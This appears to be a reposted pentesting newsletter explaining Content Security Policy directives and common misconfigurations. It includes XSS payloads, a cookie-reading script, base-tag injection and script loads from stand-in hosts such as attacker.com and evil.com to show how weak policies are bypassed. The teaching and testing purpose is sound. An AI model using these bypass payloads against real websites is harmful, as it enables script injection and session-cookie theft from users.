β¨ Check out this awesome post from Hacker News π
π **Category**:
π **What Youβll Learn**:
8 min read
October 19, 2025
Hi everyone,
A few weeks ago I was knee-deep in a CTF challenge. Found an XSS vulnerability, felt good about it, crafted my payload, andβ¦ nothing. The page just sat there, mocking me. Turns out the CSP was configured in this very specific way that blocked everything I tried. Spent the next hour actually reading the policy line by line, understanding what was allowed and what wasnβt. Eventually got it, but man, it made me realize how little attention Iβd been paying to this header.
So thatβs what sparked this newsletter. I want to break down how CSP actually works and, more importantly, where people screw it up.
Quick side note: Iβm also working on improving the website right now. Adding a white theme because apparently some of you donβt live in dark mode like civilized people, plus keybindings and a bunch of other stuff. Should be ready soon π
What CSP Actually Is
Picture this: youβre running a nightclub. You donβt want random people wandering in off the street, so you hire a bouncer. That bouncer has a list, and if youβre not on it, youβre not getting in. CSP is essentially that bouncer, but for your browser.
The server sends a policy to the browser saying βhey, only execute scripts from these specific places I trust.β When you try to inject malicious code from somewhere else, the browser goes βnope, not on the listβ and blocks it. In theory, itβs brilliant. In practice, well, thatβs why weβre here.
Hereβs what the flow looks like:
Server: "Content-Security-Policy: script-src 'self'"
You: <script src="https://evil.com/xss.js">
Browser: *blocked*
Console: "CSP violation: refused to load..."
The problem is that configuring this correctly is way harder than it sounds. One wrong directive and the whole thing falls apart.
How It Actually Works
CSP operates through directives. Think of them as individual rules in that bouncerβs handbook. Each directive controls a different type of resource.
Content-Security-Policy: script-src 'self' https://trusted.com; style-src 'self'
This tells the browser: βScripts can come from our domain or trusted.com. CSS can only come from our domain.β Pretty straightforward, right?
But hereβs where it gets interesting. If you donβt specify a directive, it falls back to default-src if that exists. And if default-src doesnβt exist either? No restriction at all. Thatβs the first place things start to break.
The Directives That Matter
Let me walk you through the ones youβll actually care about as a pentester.
script-src is your main target. This controls what JavaScript can execute. If you can bypass this, you win. Simple as that. Everything else is just noise compared to getting code execution.
default-src acts as the fallback. Hereβs something that trips people up constantly: if you see default-src 'self' and nothing else, that means EVERY type of resource uses βselfβ. Scripts, images, styles, everything. Itβs more restrictive than it looks at first glance.
object-src controls those old-school tags like , , and . Flash, plugins, embedded PDFs. You know whatβs funny? People forget about this one all the time. Theyβll lock down their scripts super tight and completely forget that object tags exist. Thatβs an instant bypass opportunity right there.
base-uri is the sneaky one. It controls the tag, which sets the base URL for the entire document. When this is missing (and itβs missing a lot), you can do some really creative stuff. Weβll get to that in a minute.
Special Values You Need to Know
CSP has these special keywords that go in single quotes. Understanding what these mean is crucial because theyβre often where the vulnerabilities hide.
'self' means same origin. Same domain, same protocol, same port. If youβre on https://example.com, only stuff from exactly https://example.com works. Not even subdomains get a pass.
'none' blocks everything. Most restrictive option possible. Not even same-origin content gets through.
'unsafe-inline' is where things get interesting. This allows inline scripts, and when you see it, you should get excited. Remember that CTF I mentioned? The one that didnβt have this was what made my life difficult. When itβs there, all your traditional XSS techniques just work.
What does inline mean exactly? Itβs JavaScript embedded directly in the HTML instead of loaded from a separate file:
<script>alert(1)</script>
<img src=x onerror="alert(1)">
<button onclick="alert(1)">Clickbutton>
All of these are inline. A proper CSP blocks them unless 'unsafe-inline' is present. But hereβs the thing: tons of legacy applications have inline scripts scattered everywhere. Refactoring all of that is a massive undertaking, so devs take the easy way out. They slap 'unsafe-inline' in there βtemporarilyβ and call it a day. Iβve seen βtemporaryβ fixes that have been in production for three years.
'unsafe-eval' is similar but for a different type of code execution. It allows functions like eval() that take strings and execute them as code:
eval('alert(1)');
setTimeout('alert(1)', 0);
new Function('alert(1)')();
If you can control what string gets passed to any of these functions, and 'unsafe-eval' is present, youβre in.
Then there are the wildcards. * means any domain. https: means any HTTPS site (which is basically everything now). data: allows data URIs, so you can embed code directly in a URL. *.example.com allows any subdomain. All of these are red flags because theyβre way too permissive.
Where Things Break Down
Let me show you the misconfigurations I see over and over again in real assessments.
The most common one? 'unsafe-inline' just sitting there in the policy:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
When you see this, your standard XSS payloads work perfectly:
<script>alert(document.cookie)</script>
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
Next up is the missing base-uri. Check this out:
Content-Security-Policy: script-src 'self'
Looks pretty locked down, right? Script source is restricted to the same origin. But thereβs no base-uri directive. That means you can inject a tag:
<base href="https://attacker.com/">
Now when the page loads its legitimate scripts:
<script src="/js/app.js"></script>
The browser goes βokay, base is attacker.com, so this must be https://attacker.com/js/app.jsβ and loads your malicious script instead. You didnβt even need to inject your own script tag. You just redirected theirs.
Then thereβs the lazy wildcard approach:
Content-Security-Policy: script-src 'self' https:
The https: directive allows any HTTPS site. Since 99% of the internet runs on HTTPS now, this is basically worthless:
<script src="https://attacker.com/xss.js"></script>
Just works. Same story with data: URLs:
<script src="data:text/javascript,alert(1)"></script>
Subdomain wildcards are another fun one:
Content-Security-Policy: script-src 'self' *.example.com
All you need is ONE vulnerable subdomain. Could be an old forgotten staging server, could be a user upload feature on uploads.example.com, doesnβt matter. Find one weakness in any subdomain and the entire CSP falls apart:
<script src="https://forgotten-staging.example.com/malicious.js"></script>
Last one: missing object-src. When this directive isnβt specified, you can sometimes use or tags to bypass everything. Itβs browser-dependent and a bit finicky, but it works often enough that itβs worth checking.
Finding CSP in the Wild
Most of the time youβll be using Burp Suite or another proxy to intercept traffic. Just look at the response headers in the HTTP history and search for Content-Security-Policy. Thatβs honestly the most practical way when youβre doing actual testing.
Quick curl command gets you started:
curl -I https://target.com | grep -i "content-security-policy"
Or just pop open DevTools (F12), go to the Network tab, reload, click the main request, and look at Response Headers.
Sometimes itβs in a meta tag instead:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
One thing to remember: CSP can be in both the header and a meta tag. When that happens, the most restrictive one wins. Iβve seen cases where the header was solid but the meta tag had 'unsafe-inline', and guess which one applied? The restrictive one. But Iβve also seen the opposite, where the header was weak and the meta tag tried to lock things down, and the weak header took precedence. Point is, check both.
Quick Analysis Approach
When you find a CSP, hereβs what I do:
First, I look for the obvious wins. Search for 'unsafe-inline'. If itβs there, I can probably stop looking and just fire off my XSS payload. Search for 'unsafe-eval' too, because if the app uses any eval-style functions, thatβs another easy win.
Check for wildcards: *, https:, data:. These are all way too permissive and usually mean the policy isnβt doing much.
Then I verify whatβs missing. Is base-uri there? If not, can I inject HTML? If yes to both, base tag injection might work. Is object-src there? If not, object/embed tags are worth trying.
Look for subdomain wildcards. If you see *.example.com, time to enumerate subdomains and look for vulnerable ones or file upload functionality.
Thereβs a tool from Google called CSP Evaluator (https://csp-evaluator.withgoogle.com/) that automates a lot of this analysis. Paste in the policy and itβll tell you whatβs weak. Super useful for quick assessments.
Wrapping Up
So thatβs the foundation. What CSP is, how it works, the directives that matter, and the misconfigurations youβll run into constantly. The reality is that most CSPs have at least one weakness, usually because getting this right is genuinely difficult. Itβs not that developers are bad at their jobs. Itβs that CSP is complex, and the tradeoffs between security and functionality are real.
Thanks for reading. Hope this helps you spot these issues faster in your next assessment.
Stay sharp, Ruben
Previous Issue
Next Issue
π₯ **Whatβs your take?**
Share your thoughts in the comments below!
#οΈβ£ **#CSP #Pentesters #Understanding #Fundamentals**
π **Posted on**: 1772304699
π **Want more?** Click here for more info! π
